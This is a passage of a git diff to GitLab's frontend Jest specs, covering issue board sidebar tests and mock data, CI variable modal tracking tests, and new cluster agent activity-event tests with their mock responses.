- findLabelsSelect().vm.$emit('updateSelectedLabels', testLabelsPayload);
- await wrapper.vm.$nextTick();
- });
-
- it('commits change to the server', () => {
- expect(wrapper.vm.setActiveBoardItemLabels).toHaveBeenCalledWith({
- addLabelIds: [5, 7],
- removeLabelIds: [6],
- projectPath: TEST_ISSUE_FULLPATH,
- iid: null,
- });
- });
- });
-
- describe('when removing individual labels', () => {
- const testLabel = TEST_LABELS[0];
-
- beforeEach(async () => {
- createWrapper({ labels: [testLabel] });
-
- jest.spyOn(wrapper.vm, 'setActiveBoardItemLabels').mockImplementation(() => {});
- });
-
- it('commits change to the server', () => {
- wrapper.find(GlLabel).vm.$emit('close', testLabel);
-
- expect(wrapper.vm.setActiveBoardItemLabels).toHaveBeenCalledWith({
- removeLabelIds: [getIdFromGraphQLId(testLabel.id)],
- projectPath: TEST_ISSUE_FULLPATH,
- });
- });
- });
-
- describe('when the mutation fails', () => {
- beforeEach(async () => {
- createWrapper({ labels: TEST_LABELS });
-
- jest.spyOn(wrapper.vm, 'setActiveBoardItemLabels').mockImplementation(() => {
- throw new Error(['failed mutation']);
- });
- jest.spyOn(wrapper.vm, 'setError').mockImplementation(() => {});
- findLabelsSelect().vm.$emit('updateSelectedLabels', [{ id: '?' }]);
- await wrapper.vm.$nextTick();
- });
-
- it('collapses sidebar and renders former issue weight', () => {
- expect(findCollapsed().isVisible()).toBe(true);
- expect(findLabelsTitles()).toEqual(TEST_LABELS_TITLES);
- expect(wrapper.vm.setError).toHaveBeenCalled();
- });
- });
-});
diff --git a/spec/frontend/boards/components/sidebar/board_sidebar_subscription_spec.js b/spec/frontend/boards/components/sidebar/board_sidebar_subscription_spec.js
deleted file mode 100644
index 6e1b528babc..00000000000
--- a/spec/frontend/boards/components/sidebar/board_sidebar_subscription_spec.js
+++ /dev/null
@@ -1,163 +0,0 @@
-import { GlToggle, GlLoadingIcon } from '@gitlab/ui';
-import { mount } from '@vue/test-utils';
-import Vue from 'vue';
-import Vuex from 'vuex';
-import BoardSidebarSubscription from '~/boards/components/sidebar/board_sidebar_subscription.vue';
-import { createStore } from '~/boards/stores';
-import * as types from '~/boards/stores/mutation_types';
-import { mockActiveIssue } from '../../mock_data';
-
-Vue.use(Vuex);
-
-describe('~/boards/components/sidebar/board_sidebar_subscription_spec.vue', () => {
- let wrapper;
- let store;
-
- const findNotificationHeader = () => wrapper.find("[data-testid='notification-header-text']");
- const findToggle = () => wrapper.findComponent(GlToggle);
- const findGlLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
-
- const createComponent = (activeBoardItem = { ...mockActiveIssue }) => {
- store = createStore();
- store.state.boardItems = { [activeBoardItem.id]: activeBoardItem };
- store.state.activeId = activeBoardItem.id;
-
- wrapper = mount(BoardSidebarSubscription, {
- store,
- provide: {
- emailsDisabled: false,
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- store = null;
- jest.clearAllMocks();
- });
-
- describe('Board sidebar subscription component template', () => {
- it('displays "notifications" heading', () => {
- createComponent();
-
- expect(findNotificationHeader().text()).toBe('Notifications');
- });
-
- it('renders toggle with label', () => {
- createComponent();
-
- expect(findToggle().props('label')).toBe(BoardSidebarSubscription.i18n.header.title);
- });
-
- it('renders toggle as "off" when currently not subscribed', () => {
- createComponent();
-
- expect(findToggle().exists()).toBe(true);
- expect(findToggle().props('value')).toBe(false);
- });
-
- it('renders toggle as "on" when currently subscribed', () => {
- createComponent({
- ...mockActiveIssue,
- subscribed: true,
- });
-
- expect(findToggle().exists()).toBe(true);
- expect(findToggle().props('value')).toBe(true);
- });
-
- describe('when notification emails have been disabled', () => {
- beforeEach(() => {
- createComponent({
- ...mockActiveIssue,
- emailsDisabled: true,
- });
- });
-
- it('displays a message that notification have been disabled', () => {
- expect(findNotificationHeader().text()).toBe(
- 'Notifications have been disabled by the project or group owner',
- );
- });
-
- it('does not render the toggle button', () => {
- expect(findToggle().exists()).toBe(false);
- });
- });
- });
-
- describe('Board sidebar subscription component `behavior`', () => {
- const mockSetActiveIssueSubscribed = (subscribedState) => {
- jest.spyOn(wrapper.vm, 'setActiveItemSubscribed').mockImplementation(async () => {
- store.commit(types.UPDATE_BOARD_ITEM_BY_ID, {
- itemId: mockActiveIssue.id,
- prop: 'subscribed',
- value: subscribedState,
- });
- });
- };
-
- it('subscribing to notification', async () => {
- createComponent();
- mockSetActiveIssueSubscribed(true);
-
- expect(findGlLoadingIcon().exists()).toBe(false);
-
- findToggle().vm.$emit('change');
-
- await wrapper.vm.$nextTick();
-
- expect(findGlLoadingIcon().exists()).toBe(true);
- expect(wrapper.vm.setActiveItemSubscribed).toHaveBeenCalledWith({
- subscribed: true,
- projectPath: 'gitlab-org/test-subgroup/gitlab-test',
- });
-
- await wrapper.vm.$nextTick();
-
- expect(findGlLoadingIcon().exists()).toBe(false);
- expect(findToggle().props('value')).toBe(true);
- });
-
- it('unsubscribing from notification', async () => {
- createComponent({
- ...mockActiveIssue,
- subscribed: true,
- });
- mockSetActiveIssueSubscribed(false);
-
- expect(findGlLoadingIcon().exists()).toBe(false);
-
- findToggle().vm.$emit('change');
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.setActiveItemSubscribed).toHaveBeenCalledWith({
- subscribed: false,
- projectPath: 'gitlab-org/test-subgroup/gitlab-test',
- });
- expect(findGlLoadingIcon().exists()).toBe(true);
-
- await wrapper.vm.$nextTick();
-
- expect(findGlLoadingIcon().exists()).toBe(false);
- expect(findToggle().props('value')).toBe(false);
- });
-
- it('flashes an error message when setting the subscribed state fails', async () => {
- createComponent();
- jest.spyOn(wrapper.vm, 'setActiveItemSubscribed').mockImplementation(async () => {
- throw new Error();
- });
- jest.spyOn(wrapper.vm, 'setError').mockImplementation(() => {});
-
- findToggle().vm.$emit('change');
-
- await wrapper.vm.$nextTick();
- expect(wrapper.vm.setError).toHaveBeenCalled();
- expect(wrapper.vm.setError.mock.calls[0][0].message).toBe(
- wrapper.vm.$options.i18n.updateSubscribedErrorMessage,
- );
- });
- });
-});
diff --git a/spec/frontend/boards/mock_data.js b/spec/frontend/boards/mock_data.js
index 8fcad99f8a7..a081a60166b 100644
--- a/spec/frontend/boards/mock_data.js
+++ b/spec/frontend/boards/mock_data.js
@@ -2,12 +2,11 @@ import { GlFilteredSearchToken } from '@gitlab/ui';
import { keyBy } from 'lodash';
import { ListType } from '~/boards/constants';
import { __ } from '~/locale';
-import { DEFAULT_MILESTONES_GRAPHQL } from '~/vue_shared/components/filtered_search_bar/constants';
import AuthorToken from '~/vue_shared/components/filtered_search_bar/tokens/author_token.vue';
import EmojiToken from '~/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue';
import LabelToken from '~/vue_shared/components/filtered_search_bar/tokens/label_token.vue';
import MilestoneToken from '~/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue';
-import WeightToken from '~/vue_shared/components/filtered_search_bar/tokens/weight_token.vue';
+import ReleaseToken from '~/vue_shared/components/filtered_search_bar/tokens/release_token.vue';
export const boardObj = {
id: 1,
@@ -21,7 +20,6 @@ export const listObj = {
position: 0,
title: 'Test',
list_type: 'label',
- weight: 3,
label: {
id: 5000,
title: 'Test',
@@ -154,7 +152,6 @@ export const rawIssue = {
iid: '27',
dueDate: null,
timeEstimate: 0,
- weight: null,
confidential: false,
referencePath: 'gitlab-org/test-subgroup/gitlab-test#27',
path: '/gitlab-org/test-subgroup/gitlab-test/-/issues/27',
@@ -184,7 +181,6 @@ export const mockIssue = {
title: 'Issue 1',
dueDate: null,
timeEstimate: 0,
- weight: null,
confidential: false,
referencePath: `${mockIssueFullPath}#27`,
path: `/${mockIssueFullPath}/-/issues/27`,
@@ -216,7 +212,6 @@ export const mockIssue2 = {
title: 'Issue 2',
dueDate: null,
timeEstimate: 0,
- weight: null,
confidential: false,
referencePath: 'gitlab-org/test-subgroup/gitlab-test#28',
path: '/gitlab-org/test-subgroup/gitlab-test/-/issues/28',
@@ -234,7 +229,6 @@ export const mockIssue3 = {
referencePath: '#29',
dueDate: null,
timeEstimate: 0,
- weight: null,
confidential: false,
path: '/gitlab-org/gitlab-test/-/issues/28',
assignees,
@@ -249,7 +243,6 @@ export const mockIssue4 = {
referencePath: '#30',
dueDate: null,
timeEstimate: 0,
- weight: null,
confidential: false,
path: '/gitlab-org/gitlab-test/-/issues/28',
assignees,
@@ -551,7 +544,7 @@ export const mockMoveData = {
};
export const mockEmojiToken = {
- type: 'my_reaction_emoji',
+ type: 'my-reaction',
icon: 'thumb-up',
title: 'My-Reaction',
unique: true,
@@ -559,11 +552,24 @@ export const mockEmojiToken = {
fetchEmojis: expect.any(Function),
};
-export const mockTokens = (fetchLabels, fetchAuthors, fetchMilestones, hasEmoji) => [
+export const mockConfidentialToken = {
+ type: 'confidential',
+ icon: 'eye-slash',
+ title: 'Confidential',
+ unique: true,
+ token: GlFilteredSearchToken,
+ operators: [{ value: '=', description: 'is' }],
+ options: [
+ { icon: 'eye-slash', value: 'yes', title: 'Yes' },
+ { icon: 'eye', value: 'no', title: 'No' },
+ ],
+};
+
+export const mockTokens = (fetchLabels, fetchAuthors, fetchMilestones, isSignedIn) => [
{
icon: 'user',
title: __('Assignee'),
- type: 'assignee_username',
+ type: 'assignee',
operators: [
{ value: '=', description: 'is' },
{ value: '!=', description: 'is not' },
@@ -576,7 +582,7 @@ export const mockTokens = (fetchLabels, fetchAuthors, fetchMilestones, hasEmoji)
{
icon: 'pencil',
title: __('Author'),
- type: 'author_username',
+ type: 'author',
operators: [
{ value: '=', description: 'is' },
{ value: '!=', description: 'is not' },
@@ -590,7 +596,7 @@ export const mockTokens = (fetchLabels, fetchAuthors, fetchMilestones, hasEmoji)
{
icon: 'labels',
title: __('Label'),
- type: 'label_name',
+ type: 'label',
operators: [
{ value: '=', description: 'is' },
{ value: '!=', description: 'is not' },
@@ -600,21 +606,20 @@ export const mockTokens = (fetchLabels, fetchAuthors, fetchMilestones, hasEmoji)
symbol: '~',
fetchLabels,
},
- ...(hasEmoji ? [mockEmojiToken] : []),
+ ...(isSignedIn ? [mockEmojiToken, mockConfidentialToken] : []),
{
icon: 'clock',
title: __('Milestone'),
symbol: '%',
- type: 'milestone_title',
+ type: 'milestone',
token: MilestoneToken,
unique: true,
- defaultMilestones: DEFAULT_MILESTONES_GRAPHQL,
fetchMilestones,
},
{
icon: 'issues',
title: __('Type'),
- type: 'types',
+ type: 'type',
token: GlFilteredSearchToken,
unique: true,
options: [
@@ -623,11 +628,11 @@ export const mockTokens = (fetchLabels, fetchAuthors, fetchMilestones, hasEmoji)
],
},
{
- icon: 'weight',
- title: __('Weight'),
- type: 'weight',
- token: WeightToken,
- unique: true,
+ type: 'release',
+ title: __('Release'),
+ icon: 'rocket',
+ token: ReleaseToken,
+ fetchReleases: expect.any(Function),
},
];
@@ -670,3 +675,14 @@ export const mockGroupLabelsResponse = {
},
},
};
+
+export const boardListQueryResponse = (issuesCount = 20) => ({
+ data: {
+ boardList: {
+ __typename: 'BoardList',
+ id: 'gid://gitlab/BoardList/5',
+ totalWeight: 5,
+ issuesCount,
+ },
+ },
+});
diff --git a/spec/frontend/boards/stores/actions_spec.js b/spec/frontend/boards/stores/actions_spec.js
index e245325b956..51340a3ea4f 100644
--- a/spec/frontend/boards/stores/actions_spec.js
+++ b/spec/frontend/boards/stores/actions_spec.js
@@ -20,7 +20,7 @@ import {
formatIssue,
getMoveData,
updateListPosition,
-} from '~/boards/boards_util';
+} from 'ee_else_ce/boards/boards_util';
import { gqlClient } from '~/boards/graphql';
import destroyBoardListMutation from '~/boards/graphql/board_list_destroy.mutation.graphql';
import issueCreateMutation from '~/boards/graphql/issue_create.mutation.graphql';
@@ -1241,6 +1241,7 @@ describe('updateIssueOrder', () => {
moveBeforeId: undefined,
moveAfterId: undefined,
},
+ update: expect.anything(),
};
jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
data: {
@@ -1447,6 +1448,7 @@ describe('addListNewIssue', () => {
variables: {
input: formatIssueInput(mockIssue, stateWithBoardConfig.boardConfig),
},
+ update: expect.anything(),
});
});
@@ -1478,6 +1480,7 @@ describe('addListNewIssue', () => {
variables: {
input: formatIssueInput(issue, stateWithBoardConfig.boardConfig),
},
+ update: expect.anything(),
});
expect(payload.labelIds).toEqual(['gid://gitlab/GroupLabel/4', 'gid://gitlab/GroupLabel/5']);
expect(payload.assigneeIds).toEqual(['gid://gitlab/User/1', 'gid://gitlab/User/2']);
@@ -1570,7 +1573,7 @@ describe('addListNewIssue', () => {
describe('setActiveIssueLabels', () => {
const state = { boardItems: { [mockIssue.id]: mockIssue } };
- const getters = { activeBoardItem: mockIssue };
+ const getters = { activeBoardItem: { ...mockIssue, labels } };
const testLabelIds = labels.map((label) => label.id);
const input = {
labelIds: testLabelIds,
@@ -1579,11 +1582,7 @@ describe('setActiveIssueLabels', () => {
labels,
};
- it('should assign labels on success', (done) => {
- jest
- .spyOn(gqlClient, 'mutate')
- .mockResolvedValue({ data: { updateIssue: { issue: { labels: { nodes: labels } } } } });
-
+ it('should assign labels', () => {
const payload = {
itemId: getters.activeBoardItem.id,
prop: 'labels',
@@ -1601,74 +1600,28 @@ describe('setActiveIssueLabels', () => {
},
],
[],
- done,
);
});
- it('throws error if fails', async () => {
- jest
- .spyOn(gqlClient, 'mutate')
- .mockResolvedValue({ data: { updateIssue: { errors: ['failed mutation'] } } });
-
- await expect(actions.setActiveIssueLabels({ getters }, input)).rejects.toThrow(Error);
- });
-
- describe('labels_widget FF on', () => {
- beforeEach(() => {
- window.gon = {
- features: { labelsWidget: true },
- };
-
- getters.activeBoardItem = { ...mockIssue, labels };
- });
-
- afterEach(() => {
- window.gon = {
- features: {},
- };
- });
-
- it('should assign labels', () => {
- const payload = {
- itemId: getters.activeBoardItem.id,
- prop: 'labels',
- value: labels,
- };
-
- testAction(
- actions.setActiveIssueLabels,
- input,
- { ...state, ...getters },
- [
- {
- type: types.UPDATE_BOARD_ITEM_BY_ID,
- payload,
- },
- ],
- [],
- );
- });
-
- it('should remove label', () => {
- const payload = {
- itemId: getters.activeBoardItem.id,
- prop: 'labels',
- value: [labels[1]],
- };
+ it('should remove label', () => {
+ const payload = {
+ itemId: getters.activeBoardItem.id,
+ prop: 'labels',
+ value: [labels[1]],
+ };
- testAction(
- actions.setActiveIssueLabels,
- { ...input, removeLabelIds: [getIdFromGraphQLId(labels[0].id)] },
- { ...state, ...getters },
- [
- {
- type: types.UPDATE_BOARD_ITEM_BY_ID,
- payload,
- },
- ],
- [],
- );
- });
+ testAction(
+ actions.setActiveIssueLabels,
+ { ...input, removeLabelIds: [getIdFromGraphQLId(labels[0].id)] },
+ { ...state, ...getters },
+ [
+ {
+ type: types.UPDATE_BOARD_ITEM_BY_ID,
+ payload,
+ },
+ ],
+ [],
+ );
});
});
diff --git a/spec/frontend/ci_lint/components/ci_lint_spec.js b/spec/frontend/ci_lint/components/ci_lint_spec.js
index 36d860b1ccd..70d116c12d3 100644
--- a/spec/frontend/ci_lint/components/ci_lint_spec.js
+++ b/spec/frontend/ci_lint/components/ci_lint_spec.js
@@ -3,7 +3,7 @@ import { shallowMount } from '@vue/test-utils';
import waitForPromises from 'helpers/wait_for_promises';
import CiLint from '~/ci_lint/components/ci_lint.vue';
import CiLintResults from '~/pipeline_editor/components/lint/ci_lint_results.vue';
-import lintCIMutation from '~/pipeline_editor/graphql/mutations/lint_ci.mutation.graphql';
+import lintCIMutation from '~/pipeline_editor/graphql/mutations/client/lint_ci.mutation.graphql';
import SourceEditor from '~/vue_shared/components/source_editor.vue';
import { mockLintDataValid } from '../mock_data';
diff --git a/spec/frontend/ci_variable_list/components/ci_variable_modal_spec.js b/spec/frontend/ci_variable_list/components/ci_variable_modal_spec.js
index 5c7404c1175..7c4ff67feb3 100644
--- a/spec/frontend/ci_variable_list/components/ci_variable_modal_spec.js
+++ b/spec/frontend/ci_variable_list/components/ci_variable_modal_spec.js
@@ -1,9 +1,10 @@
import { GlButton, GlFormInput } from '@gitlab/ui';
import { createLocalVue, shallowMount, mount } from '@vue/test-utils';
import Vuex from 'vuex';
+import { mockTracking } from 'helpers/tracking_helper';
import CiEnvironmentsDropdown from '~/ci_variable_list/components/ci_environments_dropdown.vue';
import CiVariableModal from '~/ci_variable_list/components/ci_variable_modal.vue';
-import { AWS_ACCESS_KEY_ID } from '~/ci_variable_list/constants';
+import { AWS_ACCESS_KEY_ID, EVENT_LABEL, EVENT_ACTION } from '~/ci_variable_list/constants';
import createStore from '~/ci_variable_list/store';
import mockData from '../services/mock_data';
import ModalStub from '../stubs';
@@ -14,9 +15,12 @@ localVue.use(Vuex);
describe('Ci variable modal', () => {
let wrapper;
let store;
+ let trackingSpy;
+
+ const maskableRegex = '^[a-zA-Z0-9_+=/@:.~-]{8,}$';
const createComponent = (method, options = {}) => {
- store = createStore({ isGroup: options.isGroup });
+ store = createStore({ maskableRegex, isGroup: options.isGroup });
wrapper = method(CiVariableModal, {
attachTo: document.body,
stubs: {
@@ -138,6 +142,7 @@ describe('Ci variable modal', () => {
};
createComponent(mount);
store.state.variable = invalidKeyVariable;
+ trackingSpy = mockTracking(undefined, wrapper.element, jest.spyOn);
});
it(`${rendered ? 'renders' : 'does not render'} the variable reference warning`, () => {
@@ -226,6 +231,7 @@ describe('Ci variable modal', () => {
};
createComponent(mount);
store.state.variable = invalidMaskVariable;
+ trackingSpy = mockTracking(undefined, wrapper.element, jest.spyOn);
});
it('disables the submit button', () => {
@@ -235,6 +241,50 @@ describe('Ci variable modal', () => {
it('shows the correct error text', () => {
expect(findModal().text()).toContain(maskError);
});
+
+ it('sends the correct tracking event', () => {
+ expect(trackingSpy).toHaveBeenCalledWith(undefined, EVENT_ACTION, {
+ label: EVENT_LABEL,
+ property: ';',
+ });
+ });
+ });
+
+ describe.each`
+ value | secret | masked | eventSent | trackingErrorProperty
+ ${'value'} | ${'secretValue'} | ${false} | ${0} | ${null}
+ ${'shortMasked'} | ${'short'} | ${true} | ${0} | ${null}
+ ${'withDollar$Sign'} | ${'dollar$ign'} | ${false} | ${1} | ${'$'}
+ ${'withDollar$Sign'} | ${'dollar$ign'} | ${true} | ${1} | ${'$'}
+ ${'unsupported'} | ${'unsupported|char'} | ${true} | ${1} | ${'|'}
+ ${'unsupportedMasked'} | ${'unsupported|char'} | ${false} | ${0} | ${null}
+ `('Adding a new variable', ({ value, secret, masked, eventSent, trackingErrorProperty }) => {
+ beforeEach(() => {
+ const [variable] = mockData.mockVariables;
+ const invalidKeyVariable = {
+ ...variable,
+ key: 'key',
+ value,
+ secret_value: secret,
+ masked,
+ };
+ createComponent(mount);
+ store.state.variable = invalidKeyVariable;
+ trackingSpy = mockTracking(undefined, wrapper.element, jest.spyOn);
+ });
+
+ it(`${
+ eventSent > 0 ? 'sends the correct' : 'does not send the'
+ } variable validation tracking event`, () => {
+ expect(trackingSpy).toHaveBeenCalledTimes(eventSent);
+
+ if (eventSent > 0) {
+ expect(trackingSpy).toHaveBeenCalledWith(undefined, EVENT_ACTION, {
+ label: EVENT_LABEL,
+ property: trackingErrorProperty,
+ });
+ }
+ });
});
describe('when both states are valid', () => {
@@ -249,7 +299,6 @@ describe('Ci variable modal', () => {
};
createComponent(mount);
store.state.variable = validMaskandKeyVariable;
- store.state.maskableRegex = /^[a-zA-Z0-9_+=/@:.~-]{8,}$/;
});
it('does not disable the submit button', () => {
diff --git a/spec/frontend/clusters/agents/components/activity_events_list_spec.js b/spec/frontend/clusters/agents/components/activity_events_list_spec.js
new file mode 100644
index 00000000000..4abbd77dfb7
--- /dev/null
+++ b/spec/frontend/clusters/agents/components/activity_events_list_spec.js
@@ -0,0 +1,102 @@
+import { GlLoadingIcon, GlAlert, GlEmptyState } from '@gitlab/ui';
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import { useFakeDate } from 'helpers/fake_date';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import ActivityEvents from '~/clusters/agents/components/activity_events_list.vue';
+import ActivityHistoryItem from '~/clusters/agents/components/activity_history_item.vue';
+import getAgentActivityEventsQuery from '~/clusters/agents/graphql/queries/get_agent_activity_events.query.graphql';
+import { mockResponse, mockEmptyResponse } from '../../mock_data';
+
+const activityEmptyStateImage = '/path/to/image';
+const projectPath = 'path/to/project';
+const agentName = 'cluster-agent';
+
+Vue.use(VueApollo);
+
+describe('ActivityEvents', () => {
+ let wrapper;
+ useFakeDate([2021, 12, 3]);
+
+ const provideData = {
+ agentName,
+ projectPath,
+ activityEmptyStateImage,
+ };
+
+ const createWrapper = ({ queryResponse = null } = {}) => {
+ const agentEventsQueryResponse = queryResponse || jest.fn().mockResolvedValue(mockResponse);
+ const apolloProvider = createMockApollo([
+ [getAgentActivityEventsQuery, agentEventsQueryResponse],
+ ]);
+
+ wrapper = shallowMountExtended(ActivityEvents, {
+ apolloProvider,
+ provide: provideData,
+ });
+ };
+
+ const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
+ const findAlert = () => wrapper.findComponent(GlAlert);
+ const findEmptyState = () => wrapper.findComponent(GlEmptyState);
+ const findAllActivityHistoryItems = () => wrapper.findAllComponents(ActivityHistoryItem);
+ const findSectionTitle = (at) => wrapper.findAllByTestId('activity-section-title').at(at);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('while the agentEvents query is loading', () => {
+ it('displays a loading icon', async () => {
+ createWrapper();
+
+ expect(findLoadingIcon().exists()).toBe(true);
+ await waitForPromises();
+ expect(findLoadingIcon().exists()).toBe(false);
+ });
+ });
+
+ describe('when the agentEvents query has errored', () => {
+ beforeEach(() => {
+ createWrapper({ queryResponse: jest.fn().mockRejectedValue() });
+ return waitForPromises();
+ });
+
+ it('displays an alert message', () => {
+ expect(findAlert().exists()).toBe(true);
+ });
+ });
+
+ describe('when there are no agentEvents', () => {
+ beforeEach(() => {
+ createWrapper({ queryResponse: jest.fn().mockResolvedValue(mockEmptyResponse) });
+ });
+
+ it('displays an empty state with the correct illustration', () => {
+ expect(findEmptyState().exists()).toBe(true);
+ expect(findEmptyState().props('svgPath')).toBe(activityEmptyStateImage);
+ });
+ });
+
+ describe('when the agentEvents are present', () => {
+ const length = mockResponse.data?.project?.clusterAgent?.activityEvents?.nodes?.length;
+
+ beforeEach(() => {
+ createWrapper();
+ });
+ it('renders an activity-history-item components for every event', () => {
+ expect(findAllActivityHistoryItems()).toHaveLength(length);
+ });
+
+ it.each`
+ recordedAt | date | lineNumber
+ ${'2021-12-03T01:06:56Z'} | ${'Today'} | ${0}
+ ${'2021-12-02T19:26:56Z'} | ${'Yesterday'} | ${1}
+ ${'2021-11-22T19:26:56Z'} | ${'2021-11-22'} | ${2}
+ `('renders correct titles for different days', ({ date, lineNumber }) => {
+ expect(findSectionTitle(lineNumber).text()).toBe(date);
+ });
+ });
+});
diff --git a/spec/frontend/clusters/agents/components/activity_history_item_spec.js b/spec/frontend/clusters/agents/components/activity_history_item_spec.js
new file mode 100644
index 00000000000..100a280d0cc
--- /dev/null
+++ b/spec/frontend/clusters/agents/components/activity_history_item_spec.js
@@ -0,0 +1,56 @@
+import { GlSprintf } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import { sprintf } from '~/locale';
+import HistoryItem from '~/vue_shared/components/registry/history_item.vue';
+import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
+import ActivityHistoryItem from '~/clusters/agents/components/activity_history_item.vue';
+import { EVENT_DETAILS, DEFAULT_ICON } from '~/clusters/agents/constants';
+import { mockAgentHistoryActivityItems } from '../../mock_data';
+
+const agentName = 'cluster-agent';
+
+describe('ActivityHistoryItem', () => {
+ let wrapper;
+
+ const createWrapper = ({ event = {} }) => {
+ wrapper = shallowMount(ActivityHistoryItem, {
+ propsData: { event },
+ stubs: {
+ HistoryItem,
+ GlSprintf,
+ },
+ });
+ };
+
+ const findHistoryItem = () => wrapper.findComponent(HistoryItem);
+ const findTimeAgo = () => wrapper.find(TimeAgoTooltip);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe.each`
+ kind | icon | title | lineNumber
+ ${'token_created'} | ${EVENT_DETAILS.token_created.eventTypeIcon} | ${sprintf(EVENT_DETAILS.token_created.title, { tokenName: agentName })} | ${0}
+ ${'token_revoked'} | ${EVENT_DETAILS.token_revoked.eventTypeIcon} | ${sprintf(EVENT_DETAILS.token_revoked.title, { tokenName: agentName })} | ${1}
+ ${'agent_connected'} | ${EVENT_DETAILS.agent_connected.eventTypeIcon} | ${sprintf(EVENT_DETAILS.agent_connected.title, { titleIcon: '' })} | ${2}
+ ${'agent_disconnected'} | ${EVENT_DETAILS.agent_disconnected.eventTypeIcon} | ${sprintf(EVENT_DETAILS.agent_disconnected.title, { titleIcon: '' })} | ${3}
+ ${'agent_connected'} | ${EVENT_DETAILS.agent_connected.eventTypeIcon} | ${sprintf(EVENT_DETAILS.agent_connected.title, { titleIcon: '' })} | ${4}
+ ${'unknown_agent'} | ${DEFAULT_ICON} | ${'unknown_agent Event occurred'} | ${5}
+ `('when the event type is $kind event', ({ icon, title, lineNumber }) => {
+ beforeEach(() => {
+ const event = mockAgentHistoryActivityItems[lineNumber];
+ createWrapper({ event });
+ });
+ it('renders the correct icon', () => {
+ expect(findHistoryItem().props('icon')).toBe(icon);
+ });
+ it('renders the correct title', () => {
+ expect(findHistoryItem().text()).toContain(title);
+ });
+ it('renders the correct time-ago tooltip', () => {
+ const activityEvents = mockAgentHistoryActivityItems;
+ expect(findTimeAgo().props('time')).toBe(activityEvents[lineNumber].recordedAt);
+ });
+ });
+});
diff --git a/spec/frontend/clusters/agents/components/show_spec.js b/spec/frontend/clusters/agents/components/show_spec.js
index c502e7d813e..d5a8117f48c 100644
--- a/spec/frontend/clusters/agents/components/show_spec.js
+++ b/spec/frontend/clusters/agents/components/show_spec.js
@@ -5,6 +5,7 @@ import VueApollo from 'vue-apollo';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import ClusterAgentShow from '~/clusters/agents/components/show.vue';
import TokenTable from '~/clusters/agents/components/token_table.vue';
+import ActivityEvents from '~/clusters/agents/components/activity_events_list.vue';
import getAgentQuery from '~/clusters/agents/graphql/queries/get_cluster_agent.query.graphql';
import { useFakeDate } from 'helpers/fake_date';
import createMockApollo from 'helpers/mock_apollo_helper';
@@ -27,6 +28,7 @@ describe('ClusterAgentShow', () => {
id: '1',
createdAt: '2021-02-13T00:00:00Z',
createdByUser: {
+ id: 'user-1',
name: 'user-1',
},
name: 'token-1',
@@ -39,7 +41,8 @@ describe('ClusterAgentShow', () => {
const createWrapper = ({ clusterAgent, queryResponse = null }) => {
const agentQueryResponse =
- queryResponse || jest.fn().mockResolvedValue({ data: { project: { clusterAgent } } });
+ queryResponse ||
+ jest.fn().mockResolvedValue({ data: { project: { id: 'project-1', clusterAgent } } });
const apolloProvider = createMockApollo([[getAgentQuery, agentQueryResponse]]);
wrapper = extendedWrapper(
@@ -70,6 +73,7 @@ describe('ClusterAgentShow', () => {
const findPaginationButtons = () => wrapper.findComponent(GlKeysetPagination);
const findTokenCount = () => wrapper.findByTestId('cluster-agent-token-count').text();
const findEESecurityTabSlot = () => wrapper.findByTestId('ee-security-tab');
+ const findActivity = () => wrapper.findComponent(ActivityEvents);
afterEach(() => {
wrapper.destroy();
@@ -101,6 +105,10 @@ describe('ClusterAgentShow', () => {
it('should not render pagination buttons when there are no additional pages', () => {
expect(findPaginationButtons().exists()).toBe(false);
});
+
+ it('renders activity events list', () => {
+ expect(findActivity().exists()).toBe(true);
+ });
});
describe('when create user is unknown', () => {
diff --git a/spec/frontend/clusters/mock_data.js b/spec/frontend/clusters/mock_data.js
new file mode 100644
index 00000000000..75306ca0295
--- /dev/null
+++ b/spec/frontend/clusters/mock_data.js
@@ -0,0 +1,165 @@
+const user = {
+ id: 1,
+ name: 'Administrator',
+ username: 'root',
+ webUrl: 'http://172.31.0.1:3000/root',
+};
+
+const agentToken = {
+ id: 1,
+ name: 'cluster-agent',
+};
+
+export const defaultActivityEvent = {
+ kind: 'unknown_agent',
+ level: 'info',
+ recordedAt: '2021-11-22T19:26:56Z',
+ agentToken,
+ user,
+};
+
+export const mockAgentActivityEvents = [
+ {
+ kind: 'token_created',
+ level: 'info',
+ recordedAt: '2021-12-03T01:06:56Z',
+ agentToken,
+ user,
+ },
+
+ {
+ kind: 'token_revoked',
+ level: 'info',
+ recordedAt: '2021-12-03T00:26:56Z',
+ agentToken,
+ user,
+ },
+
+ {
+ kind: 'agent_connected',
+ level: 'info',
+ recordedAt: '2021-12-02T19:26:56Z',
+ agentToken,
+ user,
+ },
+
+ {
+ kind: 'agent_disconnected',
+ level: 'info',
+ recordedAt: '2021-12-02T19:26:56Z',
+ agentToken,
+ user,
+ },
+
+ {
+ kind: 'agent_connected',
+ level: 'info',
+ recordedAt: '2021-11-22T19:26:56Z',
+ agentToken,
+ user,
+ },
+
+ {
+ kind: 'unknown_agent',
+ level: 'info',
+ recordedAt: '2021-11-22T19:26:56Z',
+ agentToken,
+ user,
+ },
+];
+
+export const mockResponse = {
+ data: {
+ project: {
+ id: 'project-1',
+ clusterAgent: {
+ id: 'cluster-agent',
+ activityEvents: {
+ nodes: mockAgentActivityEvents,
+ },
+ },
+ },
+ },
+};
+
+export const mockEmptyResponse = {
+ data: {
+ project: {
+ id: 'project-1',
+ clusterAgent: {
+ id: 'cluster-agent',
+ activityEvents: {
+ nodes: [],
+ },
+ },
+ },
+ },
+};
+
+export const mockAgentHistoryActivityItems = [
+ {
+ kind: 'token_created',
+ level: 'info',
+ recordedAt: '2021-12-03T01:06:56Z',
+ agentToken,
+ user,
+ eventTypeIcon: 'token',
